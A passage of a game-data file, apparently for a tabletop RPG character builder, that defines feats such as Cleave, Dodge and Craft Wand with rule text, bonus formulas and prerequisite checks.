DisplayName="Armor Proficiency, Light",
SourcePage="p.118",
AutomaticProficiencies={
{
Kind="Armor",
Types={
"ArmorProfLight",
},
},
},
Benefits={
{
FormatString="When you wear a type of armor with which you are proficient, the armor check penalty for that armor applies only to Dexterity- and Strength-based skill checks.",
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Armor Proficiency (Medium)",
Category="FEAT",
Description={
Format="You are skilled at wearing medium armor.",
},
DisplayName="Armor Proficiency, Medium",
SourcePage="p.118",
AutomaticProficiencies={
{
Kind="Armor",
Types={
"ArmorProfMedium",
},
},
},
Benefits={
{
FormatString="When you wear a type of armor with which you are proficient, the armor check penalty for that armor applies only to Dexterity- and Strength-based skill checks.",
},
},
Conditions={
function (character, item, sources)
return (character.IsProficientWithArmorType("Light")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Armor Proficiency (Light)" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Athletic",
Category="FEAT",
Description={
Format="You possess inherent physical prowess.",
},
SourcePage="p.118",
Benefits={
{
FormatString="You get a +2 bonus on Climb and Swim skill checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Climb\")>=10,4,2)"),
Variables={
"Climb",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Swim\")>=10,4,2)"),
Variables={
"Swim",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Augment Summoning",
Category="FEAT",
Description={
Format="Your summoned creatures are more powerful and robust than most.",
},
SourcePage="p.118",
Benefits={
{
FormatString="Each creature you conjure with any summon spell gains a +4 enhancement bonus to Strength and Constitution for the duration of the spell that summoned it.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Spell Focus (Conjuration)" then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Bleeding Critical",
Category="FEAT",
Description={
Format="Your critical hits cause opponents to bleed profusely.",
},
SourcePage="p.118",
Benefits={
{
FormatString="Whenever you score a critical hit with a slashing or piercing weapon, your opponent takes 2d6 points of bleed damage (see Appendix 2) each round on his turn, in addition to the damage dealt by the critical hit. Bleed damage can be stopped by a DC 15 Heal skill check or through any magical healing. The effects of this feat stack.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Critical Focus" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11 or (character.Variables["CriticalFocusQualify"] >= 11)
end,
},
Types={
"Combat",
"Critical",
},
})
DefineAbility({
Name="Blind-Fight",
Category="FEAT",
Description={
Format="You are skillled at attacking opponents that you cannot clearly perceive.",
},
SourcePage="p.118",
Benefits={
{
FormatString="In melee, every time you miss because of concealment (see Chapter 8), you can reroll your miss chance percentile roll one time to see if you actually hit. An invisible attacker gets no advantages related to hitting you in melee. That is, you don't lose your Dexterity bonus to Armor Class, and the attacker doesn't get the usual +2 bonus for being invisible. The invisible attacker's bonuses do still apply for ranged attacks, however. You do not need to make Acrobatics skill checks to move at full speed while blinded.",
},
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Blinding Critical",
Category="FEAT",
Description={
Format="Your critical hits blind your opponents.",
},
SourcePage="p.119",
Benefits={
{
FormatString="Whenever you score a critical hit, your opponent is permanently blinded. A successful Fortitude save reduces this to dazzled for 1d4 rounds. The DC of this Fortitude save is equal to %1. This feat has no effect on creatures that do not rely on eyes for sight or creatures with more than two eyes (although multiple critical hits might cause blindness, at the GM's discretion). Blindness can be cured by heal, regeneration, remove blindness, or similar abilities.",
Arguments={
"10+BAB",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Critical Focus" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 15 or (character.Variables["CriticalFocusQualify"] >= 15)
end,
},
Types={
"Combat",
"Critical",
},
})
DefineAbility({
Name="Brew Potion",
Category="FEAT",
Description={
Format="You can create magic potions.",
},
SourcePage="p.119",
Benefits={
{
FormatString="You can create a potion of any 3rd-level or lower spell that you know and that targets one or more creatures or objects. Brewing a potion takes 2 hours if its base price is 250 gp or less, otherwise brewing a potion takes 1 day for each 1,000 gp in its base price. When you create a potion, you set the caster level, which must be sufficient to cast the spell in question and no higher than your own level. To brew a potion, you must use up raw materials costing one half this base price. See the magic item creation rules in Chapter 15 for more information. When you create a potion, you make any choices that you would normally make when casting the spell. Whoever drinks the potion is the target of the spell.",
},
},
Conditions={
function (character, item, sources)
return ((character.CountSpellCastingClasses(3))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 3)
end,
},
Types={
"ItemCreation",
},
})
DefineAbility({
Name="Catch Off-Guard",
Category="FEAT",
Description={
Format="Foes are surprised by your skilled use of unorthodox and improvised weapons.",
},
SourcePage="p.119",
AutomaticProficiencies={
{
Kind="Weapon",
Types={
"Improvised",
},
},
},
Benefits={
{
FormatString="You do not suffer any penalties for using an improvised melee weapon. Unarmed opponents are flat-footed against any attacks you make with an improvised melee weapon.",
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Channel Smite",
Category="FEAT",
Description={
Format="You can channel your divine energy through your weapon.",
},
SourcePage="p.119",
Benefits={
{
FormatString="Before you make a melee attack roll, you can choose to spend one use of your channel energy ability as a swift action. If you channel positive energy and you hit an undead creature, that creature takes an amount of additional damage equal to the damage dealt by your channel positive energy ability. If you channel negative energy and you hit a living creature, that creature takes an amount of additional damage equal to the damage dealt by your channel negative energy ability. Your target can make a Will save, as normal, to halve this additional damage. If your attack misses, the channel energy ability is still expended with no effect.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Channel Energy") then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Cleave",
Category="FEAT",
Description={
Format="You can strike two adjacent foes with a single swing.",
},
SourcePage="p.119",
Benefits={
{
FormatString="As a standard action, you can make a single attack at your full base attack bonus against a foe within reach. If you hit, you deal damage normally and can make an additional attack (using your full base attack bonus) against a foe that is adjacent to the first and also within reach. You can only make one additional attack per round with this feat. When you use this feat, you take a -2 penalty to your Armor Class until your next turn.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Power Attack" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
function (character, item, sources)
return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Combat Casting",
Category="FEAT",
Description={
Format="You are adept at spellcasting when threatened or distracted.",
},
SourcePage="p.119",
Benefits={
{
FormatString="You get a +4 bonus on concentration checks made to cast a spell or use a spell-like ability when casting on the defensive or while grappled.",
},
},
Types={
"General",
},
})
DefineAbility({
Name="Combat Expertise",
Category="FEAT",
Description={
Format="You can increase your defense at the expense of your accuracy.",
},
SourcePage="p.119",
TemporaryBonus={
Bonus={
Category="VAR",
Formula=Formula("CombatExpertiseModifierAC"),
Type={
Name="Base",
},
Variables={
"CMD",
},
},
Target="PC",
},
Benefits={
{
FormatString="You can choose to take a %1 penalty on melee attack rolls and combat maneuver checks to gain a +%2 dodge bonus to your Armor Class. You can only choose to use this feat when you declare that you are making an attack or a full-attack action with a melee weapon. The effects of this feat last until your next turn.",
Arguments={
"CombatExpertiseModifierAttack",
"CombatExpertiseModifierAC",
},
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("((BAB+(FlurryLVL-MonkBAB))/4)+1"),
Type={
Name="Base",
},
Variables={
"CombatExpertiseModifier",
},
},
{
Category="VAR",
Formula=Formula("-CombatExpertiseModifier"),
Type={
Name="Base",
},
Variables={
"CombatExpertiseModifierAttack",
},
},
{
Category="VAR",
Formula=Formula("CombatExpertiseModifier"),
Type={
Name="Base",
},
Variables={
"CombatExpertiseModifierAC",
},
},
},
Conditions={
function (character, item, sources)
return (character.Variables["PreStatScore_INT"] >= 13) or (character.Variables["CombatFeatIntRequirement"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
"ModifyAC",
},
})
DefineAbility({
Name="Combat Expertise",
Category="FEAT",
Description={
Format="You can increase your defense at the expense of your accuracy.",
},
SourcePage="p.119",
TemporaryBonus={
Bonus={
Category="VAR",
Formula=Formula("CombatExpertiseModifierAC"),
Variables={
"CMD",
},
},
Target="PC",
},
Benefits={
{
FormatString="You can choose to take a %1 penalty on melee attack rolls and combat maneuver checks to gain a +%2 dodge bonus to your Armor Class. You can only choose to use this feat when you declare that you are making an attack or a full-attack action with a melee weapon. The effects of this feat last until your next turn.",
Arguments={
"CombatExpertiseModifierAttack",
"CombatExpertiseModifierAC",
},
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("floor(BAB/4)+1"),
Variables={
"CombatExpertiseModifier",
},
},
{
Category="VAR",
Formula=Formula("-CombatExpertiseModifier"),
Variables={
"CombatExpertiseModifierAttack",
},
},
{
Category="VAR",
Formula=Formula("CombatExpertiseModifier"),
Variables={
"CombatExpertiseModifierAC",
},
},
},
Conditions={
function (character, item, sources)
return (character.Variables["PreStatScore_INT"] >= 13) or (character.Variables["CombatFeatIntRequirement"] >= 13) or (character.Variables["DirtyTricksterIntQualify"] >= 1)
end,
},
Types={
"Combat",
"AttackOption",
"ModifyAC",
},
})
DefineAbility({
Name="Combat Reflexes",
Category="FEAT",
Description={
Format="You can make additional attacks of opportunity.",
},
SourcePage="p.119",
Benefits={
{
FormatString="You may make %1 additional attacks of opportunity per round. With this feat, you may also make attacks of opportunity while flat-footed.",
Arguments={
"CombatReflexesAttacks",
},
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("DEX"),
Variables={
"CombatReflexesAttacks",
},
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Command Undead",
Category="FEAT",
Description={
Format="Using foul powers of necromancy, you can command undead creatures, making them into your servants.",
},
SourcePage="p.120",
Benefits={
{
FormatString="As a standard action, you can use one of your uses of channel negative energy to enslave undead within 30 feet. Undead receive a Will save %1 to negate the effect. Undead that fail their saves fall under your control, obeying your commands to the best of their ability, as if under the effects of control undead. Intelligent undead receive a new saving throw each day to resist your command. You can control up to your effective cleric level in Hit Dice of undead. If you use channel energy in this way, it has no other effect (it does not heal or harm nearby creatures). If an undead creature is under the control of another creature, you must make an opposed Charisma check whenever your orders conflict.",
Arguments={
"ClericChannelNegativeEnergyDC",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Channel Negative Energy") then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Craft Magic Arms and Armor",
Category="FEAT",
Description={
Format="You can create magic armor, shields, or weapons.",
},
SourcePage="p.120",
Benefits={
{
FormatString="You can create magic weapons, armor, or shields. Enhancing a weapon, suit of armor, or shield takes 1 day for each 1,000 gp in the price of its magical features. To enhance a weapon, suit of armor, or shield, you must use up raw materials costing half of this total price. See the magic item creation rules in Chapter 15 for more information. The weapon, armor, or shield to be enhanced must be a masterwork item that you provide. Its cost is not included in the above cost. You can also mend a broken magic weapon, suit of armor, or shield if it is one that you could make. Doing so costs half the raw materials and half the time it would take to craft that item in the first place.",
},
},
Conditions={
function (character, item, sources)
return ((character.CountSpellCastingClasses(5))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 5) or (character.Variables["MasterCraftsmanRanks"] >= 5)
end,
},
Types={
"ItemCreation",
},
})
DefineAbility({
Name="Craft Rod",
Category="FEAT",
Description={
Format="You can create magic rods.",
},
SourcePage="p.120",
Benefits={
{
FormatString="You can create magic rods. Crafting a rod takes 1 day for each 1,000 gp in its base price. To craft a rod, you must use up raw materials costing half of its base price. See the magic",
},
},
Conditions={
function (character, item, sources)
return ((character.CountSpellCastingClasses(9))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 9)
end,
},
Types={
"ItemCreation",
},
})
DefineAbility({
Name="Craft Staff",
Category="FEAT",
Description={
Format="You can create magic staves.",
},
SourcePage="p.120",
Benefits={
{
FormatString="You can create any staff whose prerequisites you meet. Crafting a staff takes 1 day for each 1,000 gp in its base price. To craft a staff, you must use up raw materials costing half of its base price. A newly created staff has 10 charges. See the magic item creation rules in Chapter 15 for more information.",
},
},
Conditions={
function (character, item, sources)
return ((character.CountSpellCastingClasses(11))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 11)
end,
},
Types={
"ItemCreation",
},
})
DefineAbility({
Name="Craft Wand",
Category="FEAT",
Description={
Format="You can create magic wands.",
},
SourcePage="p.120",
Benefits={
{
FormatString="You can create a wand of any 4th-level or lower spell that you know. Crafting a wand takes 1 day for each 1,000 gp in its base price. To craft a wand, you must use up raw materials costing half of this base price. A newly created wand has 50 charges. See the magic item creation rules in Chapter 15 for more information.",
},
},
Conditions={
function (character, item, sources)
return ((character.CountSpellCastingClasses(5))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 5)
end,
},
Types={
"ItemCreation",
},
})
DefineAbility({
Name="Craft Wondrous Item",
Category="FEAT",
Description={
Format="You can create wondrous items, a type of magic item.",
},
SourcePage="p.120",
Benefits={
{
FormatString="You can create a wide variety of magic wondrous items. Crafting a wondrous item takes 1 day for each 1,000 gp in its price. To create a wondrous item, you must use up raw materials costing half of its base price. See the magic item creation rules in Chapter 15 for more information. You can also mend a broken wondrous item if it is one that you could make. Doing so costs half the raw materials and half the time it would take to craft that item.",
},
},
Conditions={
function (character, item, sources)
return ((character.CountSpellCastingClasses(3))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 3) or (character.Variables["MasterCraftsmanRanks"] >= 3)
end,
},
Types={
"ItemCreation",
},
})
DefineAbility({
Name="Critical Focus",
Category="FEAT",
Description={
Format="You are trained in the arts of causing pain.",
},
SourcePage="p.120",
Benefits={
{
FormatString="You receive a +4 circumstance bonus on attack rolls made to confirm critical hits.",
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 9 or (character.Variables["CriticalFocusQualify"] >= 9)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Critical Mastery",
Category="FEAT",
Description={
Format="Your critical hits cause two additional effects.",
},
SourcePage="p.120",
Benefits={
{
FormatString="When you score a critical hit, you can apply the effects of two critical feats in addition to the damage dealt.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Critical Focus" then return true end
return false
end)
end,
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.IsAnyType("Critical") then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["CriticalMasteryQualify"] >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Dazzling Display",
Category="FEAT",
Description={
Format="Your skill with your favored weapon can frighten enemies.",
},
SourcePage="p.120",
Benefits={
{
FormatString="While wielding the weapon in which you have Weapon Focus, you can perform a bewildering show of prowess as a full-round action. Make an Intimidate check to demoralize all foes within 30 feet who can see your display.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Weapon Focus" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Deadly Aim",
Category="FEAT",
Description={
Format="You can make exceptionally deadly ranged attacks by pinpointing a foe's weak spot, at the expense of making the attack less likely to succeed.",
},
SourcePage="p.121",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("-DeadlyAimModifier"),
Type={
Name="Temporary",
},
Variables={
"TOHIT",
},
},
Target="EQ|Weapon,Ranged",
},
Benefits={
{
FormatString="You can choose to take a -%1 penalty on all ranged attack rolls to gain a +%2 bonus on all ranged damage rolls. You must choose to use this feat before making an attack roll and its effects last until your next turn. The bonus damage does not apply to touch attacks or effects that do not deal hit point damage.",
Arguments={
"DeadlyAimModifier",
"2*DeadlyAimModifier",
},
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("floor(BAB/4)+1"),
Variables={
"DeadlyAimModifier",
},
},
},
Conditions={
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Deadly Stroke",
Category="FEAT",
Description={
Format="With a well-placed strike, you can bring a swift and painful end to most foes.",
},
SourcePage="p.121",
Benefits={
{
FormatString="As a standard action, make a single attack with the weapon for which you have Greater Weapon Focus against a stunned or flat-footed opponent. If you hit, you deal double the normal damage and the target takes 1 point of Constitution bleed (see Appendix 2). The additional damage and bleed is not multiplied on a critical hit.",
},
},
Conditions={
function (character, item, sources)
return 4 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Dazzling Display" then return true end
if ability.Name == "Greater Weapon Focus" then return true end
if ability.Name == "Shatter Defenses" then return true end
if ability.Name == "Weapon Focus" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Deafening Critical",
Category="FEAT",
Description={
Format="Your critical hits cause enemies to lose their hearing.",
},
SourcePage="p.121",
Benefits={
{
FormatString="Whenever you score a critical hit against an opponent, the victim is permanently deafened. A successful Fortitude save reduces the deafness to 1 round. The DC of this Fortitude save is equal to 10 + your base attack bonus. This feat has no effect on deaf creatures. This deafness can be cured by heal, regeneration, remove deafness, or a similar ability.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Critical Focus" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 13 or (character.Variables["CriticalFocusQualify"] >= 13)
end,
},
Types={
"Combat",
"Critical",
},
})
DefineAbility({
Name="Deceitful",
Category="FEAT",
Description={
Format="You are skilled at deceiving others, both with the spoken word ans with physical disguises.",
},
SourcePage="p.121",
Benefits={
{
FormatString="You get a +2 bonus on all Bluff and Disguise skill checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Bluff\")>=10,4,2)"),
Variables={
"Bluff",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Disguise\")>=10,4,2)"),
Variables={
"Disguise",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Defensive Combat Training",
Category="FEAT",
Description={
Format="You excel at defending yourself from all manner of combat maneuvers.",
},
SourcePage="p.121",
Benefits={
{
FormatString="You treat your total Hit Dice as your base attack bonus when calculating your Combat Maneuver Defense (see Chapter 8).",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("TL-BAB"),
Variables={
"CMD_BAB",
},
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Deflect Arrows",
Category="FEAT",
Description={
Format="You can know arrows and other projectiles off course, preventing them from hitting you.",
},
SourcePage="p.121",
Benefits={
{
FormatString="You must have at least one hand free (holding nothing) to use this feat. Once per round when you would normally be hit with an attack from a ranged weapon, you may deflect it so that you take no damage from it. You must be aware of the attack and not flat-footed. Attempting to deflect a ranged attack doesn't count as an action. Unusually massive ranged weapons (such as boulders or ballista bolts) and ranged attacks generated by natural attacks or spell effects can't be deflected.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Unarmed Strike" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Deft Hands",
Category="FEAT",
Description={
Format="You have exceptional manual dexterity.",
},
SourcePage="p.121",
Benefits={
{
FormatString="You get a +2 bonus on Disable Device and Sleight of Hand skill checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Disable Device\")>=10,4,2)"),
Variables={
"Disable Device",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Sleight of Hand\")>=10,4,2)"),
Variables={
"Sleight of Hand",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Diehard",
Category="FEAT",
Description={
Format="You are especially hard to kill. Not only do your wounds automatically stabilize when grievously injured, but you can remain conscious and continue to act even at death's door.",
},
SourcePage="p.122",
Benefits={
{
FormatString="When your hit point total is below 0, but you are not dead, you automatically stabilize. You do not need to make a Constitution check each round to avoid losing additional hit points. You may choose to act as if you were disabled, rather than dying. You must make this decision as soon as you are reduced to negative hit points (even if it isn't your turn). If you do not choose to act as if you were disabled, you immediately fall unconscious. When using this feat, you are staggered. You can take a move action without further injuring yourself, but if you perform any standard action (or any other action deemed as strenuous, including some free actions, such as casting a quickened spell) you take 1 point of damage after completing the act. If your negative hit points are equal to or greater than your Constitution score, you immediately die.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Endurance" then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Disruptive",
Category="FEAT",
Description={
Format="Your training makes it difficult for enemy spellcasters to safely cast spells near you.",
},
SourcePage="p.122",
Benefits={
{
FormatString="The DC to cast spells defensively increases by +4 for all enemies that are within your threatened area. This increase to casting spells defensively only applies if you are aware of the enemy's location and are capable of taking an attack of opportunity. If you can only take one attack of opportunity per round and have already used that attack, this increase does not apply.",
},
},
Conditions={
function (character, item, sources)
return (character.Variables["DisruptiveQualify"] >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Dodge",
Category="FEAT",
Description={
Format="Your training and reflexes allow you to react swiftly to avoid an opponent's attack.",
},
SourcePage="p.122",
Benefits={
{
FormatString="You gain a +1 dodge bonus to your AC. A condition that makes you lose your Dex bonus to AC also makes you lose the benefits of this feat.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("1"),
Type={
Name="Dodge",
},
Variables={
"AC",
},
},
},
Conditions={
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Double Slice",
Category="FEAT",
Description={
Format="Your off-hand weapon while dual-wielding strikes with greater power.",
},
SourcePage="p.122",
Benefits={
{
FormatString="Add your Strength bonus to damage rolls made with your off-hand weapon.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("1"),
Variables={
"DAMAGEMULT:0",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Two-Weapon Fighting" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 15) or (character.Variables["FeatDexRequirement"] >= 15)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Elemental Channel",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseString({"Air", "Earth", "Fire", "Water"}),
},
Description={
Format="You can channel your divine energy to harm or heal outsiders that possess your chosen elemental subtype.",
},
SourcePage="p.122",
Stackable=false,
Benefits={
{
FormatString="Instead of its normal effect, you can choose to have your ability to channel energy heal or harm outsiders of your chosen elemental subtype. You must make this choice each time you channel energy. If you choose to heal or harm creatures of your elemental subtype, your channel energy has no affect on other creatures. The amount of damage healed or dealt and the DC to halve the damage is otherwise unchanged.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Channel Energy") then return true end
return false
end)
end,
},
Types={
"General",
"AttackOption",
},
})
DefineAbility({
Name="Empower Spell",
Category="FEAT",
AddedSpellLevels=2,
Description={
Format="You can increase the power of your spells, causing them to deal more damage.",
},
SourcePage="p.122",
Benefits={
{
FormatString="All variable, numeric effects of an empowered spell are increased by half including bonuses to those dice rolls. Saving throws and opposed rolls are not affected, nor are spells without random variables. An empowered spell uses up a spell slot two levels higher than the spell's actual level.",
},
},
Types={
"Metamagic",
},
Facts={
AppliedName="Empowered",
},
})
DefineAbility({
Name="Endurance",
Category="FEAT",
Description={
Format="Harsh conditions or long exertions do not easily tire you.",
},
SourcePage="p.112",
Aspects={
{
Name="SkillBonus",
FormatString="+%1 bonus on Swim checks made to resist nonlethal damage from exhaustion; Constitution checks made to continue running, to avoid nonlethal damage from a forced march, to hold your breath, and to avoid nonlethal damage from starvation or thirst; Fortitude saves made to avoid nonlethal damage from hot or cold environments and to resist damage from suffocation.",
Arguments={
"Feat_Endurance_SaveBonus",
},
},
},
Benefits={
{
FormatString="You gain a +%1 bonus on the following checks and saves: Swim checks made to resist nonlethal damage from exhaustion; Constitution checks made to continue running; Constitution checks made to avoid nonlethal damage from a forced march; Constitution checks made to hold your breath; Constitution checks made to avoid nonlethal damage from starvation or thirst; Fortitude saves made to avoid nonlethal damage from hot or cold environments; and Fortitude saves made to resist damage from suffocation. You may sleep in light or medium armor without becoming fatigued.",
Arguments={
"Feat_Endurance_SaveBonus",
},
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("4"),
Type={
Name="Base",
},
Variables={
"Feat_Endurance_SaveBonus",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Enlarge Spell",
Category="FEAT",
AddedSpellLevels=1,
Description={
Format="You can increase the range of your spells.",
},
SourcePage="p.122",
Benefits={
{
FormatString="You can alter a spell with a range of close, medium, or long to increase its range by 100%%. An enlarged spell uses up a spell slot one level higher than the spell's actual level. Spells whose ranges are not defined by distance, as well as spells whose ranges are not close, medium, or long, do not benefit from this feat.",
},
},
Types={
"Metamagic",
},
Facts={
AppliedName="Enlarged",
},
})
DefineAbility({
Name="Eschew Materials",
Category="FEAT",
Description={
Format="You can cast many spells without needing to utilize minor material components.",
},
SourcePage="p.123",
Benefits={
{
FormatString="You can cast any spell with a material component costing 1 gp or less without needing that component. The casting of the spell still provokes attacks of opportunity as normal. If the spell requires a material component that costs more than 1 gp, you must have the material component on hand to cast the spell, as normal.",
},
},
Types={
"General",
},
})
DefineAbility({
Name="Exhausting Critical",
Category="FEAT",
Description={
Format="Your critical hits cause opponents to become exhausted.",
},
SourcePage="p.123",
Benefits={
{
FormatString="When you score a critical hit on a foe, your target immediately becomes exhausted. This feat has no effect on exhausted creatures.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Critical Focus" then return true end
if ability.Name == "Tiring Critical" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 15 or (character.Variables["CriticalFocusQualify"] >= 15)
end,
},
Types={
"Combat",
"Critical",
},
})
DefineAbility({
Name="Exotic Weapon Proficiency",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseWeaponProficiency(function (character, weapon)
return ((true and (((weapon.IsType("Exotic"))))))
end),
},
Description={
Format="You understand how to use your chosen exotic weapon in combat, and can utilize any special tricks or qualities that exotic weapon might allow.",
},
SourcePage="p.123",
AutomaticProficiencies={
{
Kind="Weapon",
Names={
"%LIST",
},
},
},
Benefits={
{
FormatString="You make attack rolls with the weapon normally.",
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Extend Spell",
Category="FEAT",
AddedSpellLevels=1,
Description={
Format="You can make your spells last twice as long.",
},
SourcePage="p.123",
Benefits={
{
FormatString="An extended spell lasts twice as long as normal. A spell with a duration of concentration, instantaneous, or permanent is not affected by this feat. An extended spell uses up a spell slot one level higher than the spell's actual level.",
},
},
Types={
"Metamagic",
},
Facts={
AppliedName="Extended",
},
})
DefineAbility({
Name="Extra Channel",
Category="FEAT",
Description={
Format="You can channel divine energy more often.",
},
SourcePage="p.123",
Benefits={
{
FormatString="You can channel energy two additional times per day.",
},
},
Bonuses={
{
Category="ABILITYPOOL",
Formula=Formula("1"),
Variables={
"Extra Channel",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Channel Positive Energy", "Channel Negative Energy") then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Extra Ki",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseNothing(),
},
Description={
Format="You can use your ki pool more times per day than most.",
},
SourcePage="p.124",
Stackable=true,
Benefits={
{
FormatString="Your ki pool increases by 2.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"KiPoints",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Ki Pool") then return true end
return false
end)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Extra Lay On Hands",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseNothing(),
},
Description={
Format="You can use your lay on hands ability more often.",
},
SourcePage="p.124",
Stackable=true,
Benefits={
{
FormatString="You can use your lay on hands ability two additional times per day.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"LayOnHandsTimes",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
